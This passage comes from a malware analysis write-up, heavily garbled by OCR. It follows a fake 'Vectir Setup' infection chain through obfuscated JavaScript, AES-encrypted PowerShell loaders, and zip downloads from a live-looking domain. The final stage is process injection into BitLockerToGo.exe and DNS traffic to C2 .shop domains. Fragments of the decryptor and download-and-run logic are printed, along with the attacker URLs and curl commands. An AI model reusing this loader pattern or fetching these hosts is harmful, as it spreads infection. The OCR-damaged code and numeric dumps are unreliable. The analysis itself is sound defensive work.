44,1045,1037,1037,1055,1044,1040,1053,1058,1036,1054,1038,1058,1036, 103?,1041 1042, 1040 1053 104(! 1057, 1043 1043 1043 1(141 I(Bh 1038,1038,1055,10 1045,1054,1037,1042,1056,1(145,1039,1057,1(!

41,1045,1056,1037,1036,1041,1053,1041,1040,1058,10 10 1038,1058,1058,1043,1039,1043,1038,1041,1056,1053,1053,1043,1042,1043,1037,1039, 1055,1039‘1042,10-’10,10-’15,1042,1058,1(157,1056,1054,1(!

56 1045,1056,1037,1043,1043,1055,1044,1058,1054,1040,1036,1056,1039,1054,1039, 1(!42,1036 1045,1040,1043,1057,1053,10 1040,1053,1037,1039,1057,1044,1036,1053,1055,1041,1043,1037,1036,1053,10

,1058, 1()30 10 1(142 1041 10-12 1041, (BQ 1053, 1040 105?\ 1030 1(155 1036,1054 9,1039,1057,1041,1043,1045,10 057,1036,1039,1039,1057,1058,1044,1053,1038,1054,1058,1039,1058,1041,10
8 ,1036,1041,1054,1043,1040,1054,10. 1044,1040,1040,1037 .105‘ ,1045 1041,1039,1043,1055,1036,1056,1054,1045,10
41,1054,1042,10-’15,1042,105 55 7 1(!5-1 1044,1038,1053,1041,1037,1038,1054,1054,1043,1054,1041,1057,1042,1039,1040,1055,1036,1054,1044,1039,1039,10
45,1053,1036,1053,1044,105 41, 5 % 4 43, 9 8,1037,1053,1039,1044,1055,1056,1042,1039,1054,1056,1044,1041,1058,1042,1040,10
56,1056,1043,1041,1037,103 105?\ 1041,104 1054 110 3 1030 105?\ 1040 1056 1(ISb 43 1030 1030 1037,1055,1058,1041,1045,1039,1053,1039,1056,1041,1054,1058,10
41,1042,1036,1037,10 5,103 1043,1040,103. )41,1045,1041,1041,1055,1057,1039, 1043 1037 ,103‘ .105‘ ,1053 1103 058,1041, 103‘..1042 1056,1043,1040,1056,1045,1042,1055,1040,1036,10
54,1058,1056,1040,1044,1058 10-11 1054, 104(! 1053 1045,1055,1056,1039,1045,1043,1039,1057,1045, 1055 1054, 1030 1043 104-1 1(1 1030 1044,1041,1036,1040,10! 1043,1055,1045,1036,1036,1038,1045,10
,1045,1041,1044,1039,1041,1038,1053,1053,1041,1039,1056,1039,1057,1038,1057,1057,1041,1055,1038,1045,1056,1054,1044,10 1041,1053,1041,1040,1041,1037,1055,1045,1045,1038,1045,1053,1057
37,1036,1058,1055,1053,1042,1058,1036,1055,1038,1054,1036,1055,1037,1054,1036,1055,1036,105 7 5 ,104 1054,1044,1036,1040,1058,1057,1045,1054,1056,10!
43,1042,1036,1040,1057,1055,1058,1041,1040,1043,1056,1036,1038,1039,1054,1044,1042,1057,105 45,1 4 1042 1053, 1030 1038,1038,1039,1038,1056,1055,1043,1054,1055,1054,1036,1039,10

58,1045,1053,1055,10 1037 ,10-12 1036,1045,1039,1044,1058,1042,1036,1057 ,1()3‘ 1043,1036,1044,1057 ,1042,1044 1044,1055,1040,1057 ,1()55 1040,1043,1057 .1054 1055,1041, 103‘ ,103‘ ,1()5[7 1044,1041,10

40,1037,1057,1036,1040,1053,1055,1037,1053,1039,1044,10 1055,1056,1040,1056,1039,1056,1045,1057,1040,1053,1039,1056,1045,1054,1058,1038,1053,1055,10! 105 8

37,1044,1039,10 1058,1044,1042,1055,1042,1040,1041,1041,1043,1057,1038,1037,1036,1038,1036,1045,1042,1058,1055,1042,1036,1043,1055,1057,1057,1056,1040,10 7

37,1044,1042,1042,1053,1053,1037,103 054,1045,1056,1042,1039,1036,1042,10' ,1(!54,1056,1038‘1053 1044,1057,1039,1057,1045, 1035’,1040,1055 041,1054,1054,1053, 1053 1037,1057,10 0

41,1039,1043,10 ,1043,1040,1044,1036. 057,1040,1041,1041,103_,1037,1055,1058,1056,1037,103 1056,1041,1041,1040,1054,1041,1054,1041,1045,1042,1042,1045,1043,1043,1037 ,1045 1041, 110

38,1042,1044,1037,1056,1058,1055,1055,1045,1043,1039,1040,1044,1039,1057,1053,1053,1056,105 7 4 8, 1044,1039,1036,1057,1057, 7 57,1058,1044,10

44,1057,1037,1044,1058,1054,1058,1038,1045,1055,10 1055,1041,1044,1055,1054,1040,1041,1038, 44 1(15#\ 1054,1040, 10-13 10:

43,1044,1054,1056,1042,1042,1056,1042,1053,1036,1037,1040,1041,1045,1057,1055,1042,1058,1036, 1041 1053, 11058

36,1055,1037,1042,1043,1045,1056,1055,1040,1043,1055,1040,1044,1041,1040,1058,1036,1056,1039,1053,1042, y 1043 1(153 1(!50 1041 1044 1055, 103?\

55 1045,1038,1055,1042,1054,1044,1053,1056, 1054 1057 ,105‘ ,105 8 ,1039,1039,1045,104: a5 058,1038,1041,1040,1037 ,1041 1038 103q 1050 104 105‘ 1()'

43,104 5,1036,1055,1038,1043,104 44 (I 104 8,1057,1036 43, 1(130 1056,1042,1043,1058,1039,10: 36,1054,1057,1042,1036,10
)44,1054,1044,1037,1036,1053, 1 6, 6 6 ,1044,1042,1044,1054,1038,1042, 103“ 105(\ 1053,1042,1036,1044,10.
1053,1042,1056,1038,1045, 1(!41 1056 1056,1058,1056, 105#\ 1055 10 1058,1036,1043,1042,1056,1038,1045,1041,1045,1058,1057,1057,10

,1042, 1058,1039,1037,1056,1036,1042,1055,1039,1044,1044,1053,1041,1036,1040,1055,1036,1058,1040,1056,1054,1042,1056,1044,1039,1055,1056,1057

55,1042,1042,1056,1044,1043,1040,1(!4(1.1053,1054,1043 1058,1053,1043,1039,1037 l(ISb 1042, 1044‘1053,1056,1055,1056,1054,1(153,1038,1(156,1(!37.1039,1041‘1037,105 1040,1056,1055,1(158,10 ,1037 ,l(l

55,1055,1057,1044,1041,1036,1054,1038,1041,1038,1036,10 1039,1(’3 ,10-’15,1041 037,1037,1044,1044,1045,1039,10 1057,1041,1058,1044,1044,1042,1042,10 1057,1053,1040,1056,1057,1042,10

56,1040,1044,1041,1037,1055,1054,1036,1057,1055,1056,1044,1056,1057,1036,1055 8 1038,1043,1056,1058,1042,1054,1045,1054,1038,1039,1053,1054,1039,1045,1057,1039,1039,1043,10

30 1044,1045,1036,1054,1042,1053,1043,1054,1043,1054,1053,1053,1053,1054,1040 4 1044,1055,1044,1053,1036,1057,1036,1058,1043,1039,1054,1043,1040,1038,1053,1058,1039,10.

8,1041,1043,1056,1041,1042,1040,1045,1057,1039,1055,1057,1058, 1(’39,105‘ ,10 1042, 8,1056,1054,1044,1042,1058,10 1036,1039,1037,1057,1036,1036,1036, 1050 1039, 103‘ v1055 1055,10
1041,1040,1036,1038,10 4 1,1037,1054,1036,1056,1044,1043,1057,1041,1054,1053,1040,1053,10:¢ 1 . 7
s % 5 5 3,1( 7 1(!-13 1036,1057,1053,1041,1045,1042,1043, 1056 1054,1042,1041,1036,1045,1058, 10-13 10-10 103(\ 1103 ,

38, 1040 1036,104 44 L 44,1037,104 4 ,1037,1036,1055,1054,1054,1038,1045,1040,1037,1040,1056,1043,1045,1057,1043,1038,1036,1041,1036,1044,10: 1 10-‘12 110

36,1038, 103 1036 ,1055,1040,1053,1054,1044,1040,1054,1041,1040,1043,1042,1056,1054,1042,1056,1053,1039,1045,1044,1043, 105b 1056,10

40 1057,104 ,10! 3 '105 1( 7,1039 1050 1054,1044,1057 1050 1039,1040,1036,1040,1040,1042,1043,1037 ,1030 1036,1056,104

8,103 10 5 10 0 10-1(1 1(5-1,1(!5)\ 1044,1038,1053,1038,1056,1053,1055,10

-10 105b 10-11 I(Bb 1036, I(Bb 1042, 1(!30 104 1055 1042,1039, 1040 1036, l(lih 1054, 1(I3b 103 105w 1(5 1(-11 ,1044,1054, 1030 1040,1045, 1030 1058,1056,10

40,1056,1042,1041,10. 1,1(53 i ,1( 1053,1037,1037,1044,1040,10: a g 110 1 1040,1045,1037,1055 1050,1( 057,1041,1041,10

40,1056,1053,1040,10 1039,1045 1044 1039,1036, 11037 1038,1054,1043,1054,1040,10 103“‘ 1039.1043 1040 105?\ 1042 1045,103‘ ,1057,1057 v104(’.1045 1057,10 1057 v1040 1041,1056,10. 4

3?\ 105?\ 1058, 1043 1053, 103‘ 1057,1036, 1053 1054 1056,1040, 1045 1(142 1053,1044,1058,1044,1044,1038,1043,1055,1040,1039,1043,1053,1055,1055,1040,1041,1041,1056,1039}1046 10871054, 1054 1041,10

1044, 1040,1055,10-’12,10-’11,10-'14,1(140,103 1053,1058,1045,1053,1044,1036,1045;d055;d058:1055 y1054,1044,10

1(!-11 1054,1056,1058,1055,1055,1053,1036,1057,1038,1057,1054,1037,1036,1043,1043,1056,1058,1058,1041,1042,1053,10

1(145 105#\ 1053 1044, 055, 1042 ,1058,1054,1039,1041,1054,1054,1055,1053,1040,1045,1038,1055,1039 1044‘1045,1044,1054,1038,1053,1(’43,1036,1045,l(l
.115 .1059. l. ‘1072 14"7 107 70‘4 11 1105.1086 03 1104.1102.1093.1098.1091.102821039:10291): var Adu’= AUO([1075.1071. .1102.1093.1100.1104.1034.1071.1092.1089.1096.

1 function AUQ(JIf) o
{
var fHd= "";
for (var fgw = 0; fgw < jIf.length; fgw++)
{
var sQS = String.fromCharCode(jIf[fgw] - )
fHd = fHd + sQS
}
return fHd
}:
var yqi = AUQ(L ’ . ’ . ’ , ’ ’ ’ ’ . ’ . ’ . ’ , , , , , ’ , . ,
var RAU = RUQ([ . . . . . ‘ . . . . , .

var Jiz = new ActiveXObject (AdU) ;

Jiz.Run(ygi, , true);

F|gure 13: Cleaned JS Code

As marked in Figure 13, this is the function being used for decoding. After understanding the
code, | disarmed it and used WScript.Echo to print the output to the console.

1 [function AUQ(FI) ~
{

var fHd= "";
for (var fgw = 0; fgw < jIf.length; fqu++)

H {

var sQS = String.fromCharcode (jIf[fgw] - );

fHd = fHd + SQS
P ¥

return fHd

Ly,
var yqi = 20Q([ ’ ‘ ‘ . . . . . . . . . . . . . . . . ' ' ' ' ' ' ' ' ' '
var AdU = AUQ(L ’ ’ ’ ’ ’ ’ ’ ’ ’ ’ ’ ’ 1)

WScript.Echo (ygi)
| wscript.Echo("\n")

| WScript.Echo (nrrrsrsrrrrrsrarrsrrrrrssssrsRrT T RreERTIIREN)

WScript.Echo ("\n")

cho (AdU)

[scxipt moho (e
Figure T3: Disarmed Code With Echo

| used CScript to output the contents of the two variables.

8/14



C58E01C97ED1B21725
579F
BD85F64DD7511F54B70FADDI87172F B 6 7 9 6 FD48F5B4A9C 9CBo 4B7C9 52
BS6EE9241¢ 2DC7 21 BF2ACFFEA2FD81. 2 FC607CEEDA11EBEB8 18
9771952E 9734 e CFC 7CB 66D6A01459ECEFO! 9 B5@(1679DC47CA854FOD3A6
36FEQ 67F380BE6BEOAID76! D6DDEEB68B26. 0 020191A6D2 959FEE24FB)
8861 AADE6DA851CBBECDEDEAC2127DF6l OB6A7B7B, BAAS2 0 2AF32 F

85898156

8406584
7987B08E 2DBB7EG819DB 6 98, 6 0 SCI6C63526E6A5C29C6
BF819FFF8CFe 7 7 2 2 72 5B4411CCDC

9 2351B5C462EE2DE 9
@ $VcUSD. Key 6711 6B6 6D5 $VcUSD. IV New-Object byte[]
u.Length) ;$mnZuGXTrT = [System.Text.Encoding] : :Utf8.GetString($ORtZmADd LKGQp.Dispose();& $mnZuGXTrT

okt s KRR KRR SRS KRR KR

The output was copied to Notepad for further investigation and to make sense of the code.

powershell.exe -w | -ep Unrestricted -nop -
funetion fALRGP ($pwdFlpyc)

2

{
T return -split ($pwdFlpyc -replace '..', "0
b

$sXJdkou fALRGP (

$VeUSD = [System.Security.Cryptography.Aes]
$VeUSD.Key = fALRGP (
$VcUSD.IV = New-Object byte[] E
$vbsLKGQp = $VcUSD.CreateDecryptor() ;
$ORtZmADdz = $vbsLKGQp.TransformFinalBlock(§sXJdkou, 0, $sXJdkou.Llength) ;
$mnZuGXTrT = [System.Text.Encoding]::Utf8.GetString ($ORtZmADdz) ;

13 $vbsLKGQp.Dispose () ;& $mnZuGXTrT.Substring(0,3) $mnZuGXTrT.Substring(3)

Windows Pawershell length: 3,435 _lines: 13 Ln:9 Col:35 Pos:3183 Windows (CRLF)  UTF-8 NS

Figure T5: Cleaned PS Script

As marked in Figure 15, AES cryptography is applied to the fALRGP’ variable. | used
CyberChef to decrypt this variable using the provided Key and IV.
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Operations Recipe

AES Decrypt

49757A767169455641..  HEX”

608000000000000000.. X

nput

AES Key Wi

+0g

1ED9E7ETCOBCSBERLCITEDIB217259699A7FBSOCEIAT SF1013B09 263589 11C84AFOB2FO1564A4E7775222C 28816093 59D105A54F 212FF73725DAAT 671
3C36496FEDBDOD177CEF BABDIBIEA94TEA2ALIEBOACST1OAZF 3 @BC33ESTOFE 3Fs68 £0537Ce
DB9SBGOGF@1CC47CR41B82A5128B7B5E634C 527A3AF 1A38CD! 7511F 54870F4DD987172FBO31CF 593ADSBF 5601C

74150550 £3711EA3668F5 36D74D06CABBFDABF SBAAGCDI07 3E9CBR72E38504B 7C0BB20F058350AA5 3D3E2EESC20DBR25ASA51CO02 AELOF CAGFOC2BBC
1BeCceEeECL ECF547D02; 416432232DC7BCB3F 9AC216093 8F 60E1708E688CAECATEBC 511D8541E04AC 14381CDADIDIEL
A2DOBF2ACFFEA2FDR183EF86(64557E2102006FC607CEEDA11ESE BR1866AA1 2B0D6306FBD2ARE IEO24CSBEAALED1653 7ET480EA552 1CFD13DS54B5B506
771952E 2681DFCCO73483EAADEL 7AD22 1830 EDE EF 826 8E 18 FBF 20CFCSBCBA524C 37088 FBA74F627CBA7 BEDE6D6AR 14 50ECEFOSAFAG2OBCOBAOT@3IAE
58C1679DC47C4854FAD3A6B2077AD58C255B5A5C92 CoBEADBEE E2DA33980BCEF 2541523D8E7 86E32E61879CBC277836 FERTCB3D67F 380BEGOEAAIDT 6O

Input

AES Key Unwrap

ex string

Group IP addresses

e IPv6 address

Defang IP Addresses

B208B216A28D60D A 101 ABD295DDFDF CFFB7602950 388A504C OF ADBEDS3CDECHEDIT44ABTFAT
1D6BADCDEA2D1351 FADC FELCCESS0B2520E3195911 8803FESFBE661EASDEEDAS 51 CBOECDBDERC212. 372D389086A787!

EQF738742AF32FF57D5 640E3CEF IEF 62DBE6F 2031 EARED31CC 12 7DFAESA02 EE 1450115180DE7ESBA4AZBA641610F 20 1A1E2B7232017 0EASOB7DB6500F
7401917240858081 56 FE 3A410CBB29414D79E72050856021066C 2B55B0F 63C4ABIABSA. 30ED! 6710808988
ABID2C2F1A9A2A216714CEFC4BFB2A2DAC1614D500 8639063402801 DF SDIFBA1853493FD1E7 AD655A172C1 411847606 2D4B35491CD 3E 55E874DA423983

1D

C673F AAFFBISBBCA492C3898B2A7094B049 2D292BD86DAC 87808E208B7 E0819DBC3ESD4146456F 6C1DBOS
4031A2E93B5CO6C63526E 6ASC20CED37DIFC 071080 760 2DD20B1 381485 AFF4232 38 26E4C
1C87DC4842E296BF 810FFFECEF6AID2ALFABO7 EDSCI3EEST7 67BA4EDE251 6B FOAB2ABAD112B3

7FF6B3220357F0BA839B6F60FFC
6A96316FE162750C1D0044CO643FO4EA2EET 7O1CT El

Extract MAC addresses

Caesar Box C

Extract email addres:

Parse S5H Host Key

e 2258 1 Tr Rau Bytes & LF
Output A0 ®E::
liexFunction CTr($SKI, $XyW){[I0.File]: :riteAllBytes($SkI, $XyM)};function oCO($SkT){$00ka nv:Temp; Expand-Archive -
Path $SkI -DestinationPath $Oolia;Add-Type -Assembly System.I0.Compression.FileSystem;$zipFile

Sort-Object Name | Select
Object (aDN
et.ServicePointHanager]
return $XyW};function aDN($rak)
}sreturn SCLI n PuP(){SLYG = Senv:Temp +
L){oC0 $hyF SITMUYX = vhj (aDN
6836, 6849, 6840, 6837, 6781, 6835, 6843, 6853, 6840, 68335, 6836, 6846, 6850, 6837, 6849,
Z1FL STTMUYX;0C0 ShyFWFZLFL}; $SXUOAFFCn
n(o $HU0AFFCn; El:a{ $NZBXOY = vhj (aDN
,6836,6849, 6840, 6837, 6781, 6835, 6843, 6853, 6848, 6835, 6836,6846,6850, 6837, 6849,
5,6781,6857,6846,6847));CTr $SXUOAFFCN $MZBXOY;0CO $SXUOAFFCNY; ;3 }PuP;

[10. Compression. ZipFile] : :0penRead($SKI) ;SLETL = -Mame ; $FDYhI

Join-Path $00ka $LETL; start $FOVN] ;3;function vhj(Sryi){sHFe -

6213,6836,6851,6781, 6822, 6836, 6833, 6802, 6343, 6340, 6836, 6345, 6

SecurityProtocollype]::TLS12;SXyH =

{SXep-6735;SCLN-SNULL; foreach ($FT in 5m>(scu~
1FL = $LYG + 'Kl.zip'; if (Test-Path -Path ShyFWFZIF

46847, 6850,6793,6782, 6783, 685

ipFile.Entries bject -First 1)

SecurityProtocol =

if "TestrPath “path 55XUCAF'CV\
,6847,6250,6793,6782,6782, 6
836,6751, 6834, 6843, 6840, 6834, 6842, 6782, 6310, 67

Swap endianness

JPath expression

ression

1522 @ 15 Tr Aaw srtes ¢ (7 (detected)

Figure 16; CyberChef Recipe

The output from CyberChef was another obfuscated PowerShell code. The script was
modified slightly and disarmed to output three key variables.

function aDN ($rgK)
H{

foreach ($FTj in $rgK)

{
$CLh+=[char] ($FIj-$Xep)
¥;
return $CLh
}
$MFB = New-Object (aDN @( ’ ' ' ' ' ' . . . .
$TIMUYX (aDN @( : : : : : : : : I I I I
’ ’ ’ ’ ’ . . . . )
$mZBROY = (aDN @( : : : : : : : : I I I I
’ ’ ’ ’ ’ . . . . )
16
17 output ("Fi
18 utput (")
output ( : "+ $IIMUYX)

Write—output oy
Write—-output (

Flgure 17: Modlfled PS Code

" + $mZBXOY)|

PS C:\Users\0x\Desktop\New folder

st Deobfusc
fus

Fir ate: System.Net.web

Second Deo cate

Third Deobfuscate

ttps://verif.

Static Analysis - Stage 3

https://verif.

> .\test3.psl

Client
dlvideosfre.click/Kl.zip

dlvideosfre.click/K2.zip

Using the Curl command, | was able to downlo

ad the two zip files for further inspection.
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C:\Users\8x\Desktop>curl https://verif.dlvideosfre.click/Kl.zip ——output outl.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4326k 100 4326k e ® 3674k @ 0:00:01 0:00:01 —:——:— 3679

FLARE-VM Mon ©9/23/2024 1:49:01.75

C:\Users\Bx\Desktop>curl https://verif.dlvideosfre.click/K2.zip —output out2.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
10 13.5M 1ee 13.5M e @ 5987k @ 0:00:02 0:00:02 —:—:— 5910k

Inside the first zip file, there were five legitimate DLLs, while the second zip file contained a
single EXE, which | focused on for analysis.

=45 chusers\b\desktop\new foldernew folderivecti | imports (136) flag 27)  first-thunk-original (INT) first-thunk (IAT) hint group (1) technique (7) type (3) ~
1 indicators (file > extension > count) GetCumentBrocessld . R I . DD2ATE
o footprints (count > 18) GetThresdContext . DooEEs
2 GetThreadPriority x DD2BCE
> dos-header (size > 64 bytes) SR ==
B dos-stub (size » 64 bytes) QueryPerformanceFrequency x CES DD2CER
o Virtualalloc x DDZF0D 0 DD2F0D
-b file-header (executable > 64-bit) VirtualProtect © DD2FIE . DD2FIE
. optional-header (subsystem > GUI) WriteFile pe DDZFE DD2FE2
24 directories (count > 7) GetCurrentProcess B 002
- sections (characteristics > virtual GetCurrentThread x DD2ABC
)| GetCurrentThreadld x DD2
g > 13 GetEnvironmentStringsW. x B DD2ABI
% exports (name > _cgo_dummy_export) OpenProcess x DD2CEC
o thread-local-storage (count > 3] RtlLockupFunctionEntry x DD2D24
= SetProcessAffinityMask x DDZEDG
; resources (count > 7) SetThreadContext x DD2E3.
abc strings (count > 279443) SuspendThresd o DD2ESC
{ SwitchToThread x D2EAC
Bl manifest (level > aslnvoker) AddVectoredContinueHandler x DD23E8
version (FileDescription > Vectir Setup) AddectoredEsceptiontiondieil | = v
RaiseException x DD2D04 DD2D04
-0 RemoveVe ptionH... x D54 DD2D54
OutputDebugStringh x A DD2COA
AddAtomA x DD28D DD28DC
DeleteAtom x DD29
FindAtomA x DDA
GetAtomNameA x ! DD2AX
SetConsoleCtriHandler x DC2 DDZD
CreateEventA 0: DD2932 0 DD2332 v
< > | < >
sha?56: 7514DB4CAS07562A346896F FABASTD 1D475F3CFED16ESEGABEFD33A97C632389 cpu: 4-bit__ file-type: executable subsystem: GUI entry-point: 0x000014C0
Figure 20; Using PESTUdio

The output from PeStudio indicates that there may be some form of process injection due to
the presence of VirtualAlloc.
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I
ATT&CK Tactic ATT&CK Technique

T1146

Tie27
1 :Thread cution Hijacking T1855.883

MBC Objective MBC Behavior

1 :Software Breakpoints [B@ee1.825]
[BEREY ]

::Read Header [C8862.814]

& [C8820.083]
.001]

::RC4 PRGA [CO621.8804]

detection [B8613.601]
: :Enumerate PE ions [Bee46.801]

[Cees2]
[Cona7 ]

[Coe40]

[Ccees3

[CoB41]

Dynamic Analysis - Stage 3

While running the malware with ProcMon in the background, it was observed that, as
suspected, the malware injects itself into ‘BitLockerToGo.exe,’ a legitimate file.
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B Process Tree

(] Only show processes still running at end of current trace

Timelines cover displayed events only

Life Time

Company

I st Copor..

f
Microsoft Corporat...
_ Microsoft Corporat... [
" |
_Don HO don hi@fr_. [
_ Microsoft Corporat... [
_ Microsoft Corporat... [

Microsaft Corporat ... [
[
[
[

B Hcrsch: Copor.
I s .
5

emals - w

Incendo Technalo...

I Microgoft Corporat

Figure 22: Process Tree

Process Description Image Path
[ fontdrvhost .exe (300) Usermode Font Driver Host C\Windows\ayst ...
[ dwm.exe (1004) Desktop Window Manager CA\Windows'syst..
E|-|.l explorer.exe (4712) Windows Explarer C\Windows expl...
ol HeD .exe (3368) HxD Hex Editor C:“Program Files'....
gn:ﬂepadﬂ.e:e (4280) Motepad++ C:\Program Files"....
= N powershell exe (2512) Windows PowerShell C\Windows\Syst...
[Z8 conhost exe (35980) Console Window Host C\Windows\ayst ..
= (gl cmd exe (4256) Windows Command Processor CAWindows"\Syst..
B conhost exe (1964) Console Window Host C\Windows'syst...
= B Procmon exe (1096) Process Monitor C\Tools‘sysintem...
.' Procmonb64 exe (5536) Process Monitar C\Users'['App. .
=] g\%ﬁ;g-VedirFree.exe (5024) Vectir Setup . ChilsersiOhDes...
he BitLockerToGo exe (320) BitLocker To Go Reader C\Windows\BitL...
Q} SecurityHealth Systray exe (6100) Windows Security notification icon  C:\Windows"\Syst. .
!"F WBox Tray exe (1020) VirtualBox Guest Additions Tray A... C\Windows \Syst...
m openvpn-gui.exe (3076) C:“Program Files'....
= G' chrome exe (3676) Google Chrome C:\Program Files"....
E chrome .exe (3380) Google Chrome C:“Program Files'....
< > £

_ Microsoft Corporat ..
_Orade and/orits ..

Google LLC

B Google LLC

[
[
[
[
[

In addition, as shown in Figure 23, there was a long sleep period of about 2 minutes after

execution before the malware began its activity.

I Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help
(] 1 =
BHILIRNITHO & £ L K= D2 ol
Time of Day  Process Name PID  Operation Path
10:06:52.200749... {j5¥ VectirFree exe 7420 ' ReadFile C:\Users'(x\Desktop\New folder\New folder\VectirFree\VectirFree exe
10:06:52.201097. VectirFree exe 7420 % ReadFie C\Users'\(x"\Desktop'\New folder\New folder\VectirFree'\VectirFree exe
10:06:52.201458. . {5 VectirFree exe 7420 ' ReadFile C:A\Users\(x\Desktop\New folder\New folder' VectirFree \VectirFree exe
10:06:52.201771... fj&¥ VectirFree exe 7420 ' ReadFile C:\Users\Ox"\Desktop\New folder\New folder'VectirFree \VectirFree exe
10:06:52. 202117 {5 VectirFree exe 7420 ' ReadFile C\Users'\(x\Desktop\New folder\New folder'VectirFree'\VectirFree exe
10:06:52.202472... j&¥ VectirFree exe 7420 ' ReadFile C:\Users'(x\Desktop\New folder\New folder\VectirFree\VectirFree exe
10:06:52.202859. VectirFree exe 7420 % ReadFie C:\Users' 0\ Desktop\New folder\New folder' VectirFree'\VectirFree exe
10:06:52 203294 {j5 VectirFree exe 7420 ' ReadFile C:\Users\(x\Desktop\New folder\New folder\VectirFree \VectirFree exe
10:06:52.203648... {5 VectirFree exe 7420 ' ReadFile C\Users'\(x\Desktop\New folder\New folder\VectirFree'\VectirFree exe
10:06:52. 204021 {5 VectirFree exe 7420 ' ReadFile C\Users'\(x\Desktop\New folder\New folder'VectirFree'\VectirFree exe
10:06:52.204374. . {j5 VectirFree exe 7420 ' ReadFile C:\Users\(x\Desktop\New folder\New folder\ VectirFree \VectirFree exe
10:06:52.204716. VectirFree exe 7420 % ReadFie C:\Users' 0\ Desktop\New folder\New folder' VectirFree'\VectirFree exe
10:06:52.205044. . j& VectirFree exe 7420 ' ReadFile C:\Users\(x\Desktop\New folder\New folder\VectirFree \VectirFree exe
10:06:52.205343... {5 VectirFree exe 7420 ' ReadFile C\Users'\(x\Desktop\New folder\New folder\VectirFree'\VectirFree exe
10:06:52.205675... ij=% VectirFree exe 7420 % ReadFie C\Users'\(x"\Desktop'\New folder\New folder\VectirFree'\VectirFree exe
10:06:52.206016... {5 VectirFree exe 7420 ' ReadFile C:\Users\(x\Desktop\New folder\New folder\ VectirFree \VectirFree exe
10:06:52.206315. VectirFree exe 7420 '+ ReadFile C:\Users\(x'Desktop\New folder\New folderVectirFree\VectirFree exe
10:06:52 206663 jj= Vectirfree exe 7420 ' ReadFile C:\Users\(x\Desktop\New folder\New folder\VectirFree \VectirFree exe
10:06:52.207048... {5 VectirFree exe 7420 ' ReadFile C:\Users'(x\Desktop\New folder\New folder\VectirFree\VectirFree exe
10:06:52.207373. .. {j% VectirFree exe 7420 % ReadFie C\Users'\(x"\Desktop'\New folder\New folder\VectirFree'\VectirFree exe
10:06:52.207697... {j5 VectirFree exe 7420 ' ReadFile C:\Users\(x\Desktop\New folder\New folder\ VectirFree \VectirFree exe
10:06:52.207997... {5 VectirFree exe 7420 ' ReadFile C:\Users\Ox\Desktop\New folder\New folder'VectirFree \VectirFree exe
10:06:52.208275... {j= VectirFree exe 7420 ' ReadFile C\Users'\(x\Desktop\New folder\New folder'VectirFree'\VectirFree exe
10:06:52.208617... {j&¥ VectirFree exe 7420 ' ReadFile C:\Users'(x\Desktop\New folder\New folder\VectirFree\VectirFree exe
52. VectirFree exe 7420 % ReadFie C:A\Windows'\System32\KemelBase.dll
i 7420 ' ReadFile C:AWindows\System32\KemelBase.dll

7420 ' ReadFile
7420 ' ReadFile

CoiUsers(x\Desldop\New folder\New folder\Vectirfree \WectirFree exe
C:\Users\0x\Desktop\New folder\New folder\Vectirfree \VectirFree exe

10:07:30.967503... ijF VectirFree exe 7420 [ RegOpenKey  HKLM\System'\CurrentControl Set\Control\Nis*Custom Locale
10:07:30.967526. VectirFree exe 7420 [ RegOpenKey  HKLM\System\CurentControl Set\Control\Nls‘CustomLocale
10:07:30.967547 .. {5 VectirFree exe 7420 [ RegQueryValue HKLM\System\CurrentControlSet\Control\Nis*Custom Locale \en-US
10:07:30.967561... {j5F VectirFree exe 7420 [ RegCloseKey ~ HKLM\System'\CurrentControl Set\Control\Nis*Custom Locale
10:07:30.967553... % VectirFree exe 7420 [ RegOpenke HKLM\Sy urentCorttrol Set\Ce ocale
10:07:30.967612... ij5 VectirFree.exe 7420 [ RegOpenKey  HKLM\System\CurentControlSet\Control\Mis\ExtendedLocale
10:07:30.967627. VectirFree exe 7420 [ RegQueryValue  HKLM\System\CurrentCortrol Set\Control\Nis*ExtendedLocaleten-US

AN-N7- N GRFAAR i T4 M Ranlineakeu HKI M Suetam \Comantnntrnl Sat A antmly Mle\ Fytandad| neals
Showing 5,828 of 2,341,909 events (0.24%) Backed by virtual memory

Result Detail

SUCCESS Offset: 2,905,088, ...
SUCCESS Offset: 2,937,856,
SUCCESS Offset: 2.970.624,
SUCCESS Offset: 13,949.440...
SUCCESS Offset: 12,966,400,
SUCCESS Offset: 10.619.392...
SUCCESS Offset: 10,635,776,
SLICCESS Offset: 10.652.160.
SUCCESS Offset: 10.668.544,..
SUCCESS Offset: 10,684,928,
SUCCESS Offset: 10.701.312....
SUCCESS Offset: 10,717,696,
SLICCESS Offset: 10,734,080,
SUCCESS Offset: 10.750.484,..
SUCCESS Offset: 10,766,848,
SUCCESS Offset: 10.783.232...
SUCCESS Offset: 10,799,616,
SLICCESS Offset: 10,816,000,
SUCCESS Offset: 10.832.384,..
SUCCESS Offset: 10,848,768,
SUCCESS Offset: 10.865.152....
SUCCESS Offset: 10.881.536....
SUCCESS Offset: 10,857.920,
SUCCESS Offset: 10.914.304,...
SUCCESS Offset: 1,213,440,
SUCCESS Offsat: 1.213.440,
SUCCESS Offset: 558,080, Le..
SUCCESS Offset: 2,094,080,
REPARSE Desired Access: R...
SUCCESS Desired Access: R

NAME NOT FOUND Length: 532
SUCCESS
REPARSE
SUCCESS
NAME NOT FOUND Length: 532
SHECFSS

Desired Access: R
Desired Access: R...

Tgure Z3: ProcMion Long Sleep Périod

While running the malware in an isolated environment, numerous DNS requests to the
attacker’s C2 server were observed, as shown in Figure 24.
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

“any

mae REQ&=DTKAS e oE

(ATdns

No. Time Source Destination Protocol Length|info

<L 27 56.511427697 10.0.0.3 10.0.0.4 98|Standard query response 8x8fic A futureddospzmvqg.shop A 10.6.0.3
39 56.591514779 10.0.0.4 10.0.0.3 DNS 8e|standard query ©x6bed A celebratioopz.shop
44 56.606918856 10.0.0.3 10.0.0.4 DNS 96|standard query response @x6bed A celebratioopz.shop A 10.0.0.3
55 56.629058536 10.0.0.4 10.0.0.3 DNS 78|Standard query @xeec6 A writerospzm.shop
60 56.645531816 10.0.0.3 10.0.0.4 DNS 94|Standard query response @xeec6 A writerospzm.shop A 10.0.8.3
71 56.665550691 10.0.0.4 10.0.0.3 DNS 81|standard query ©x1211 A deallerospfosu.shop
74 56.679621648 10.0.0.3 10.0.0.4 DNS 97|standard query response 0x1211 A deallerospfosu.shop A 16.6.0.3
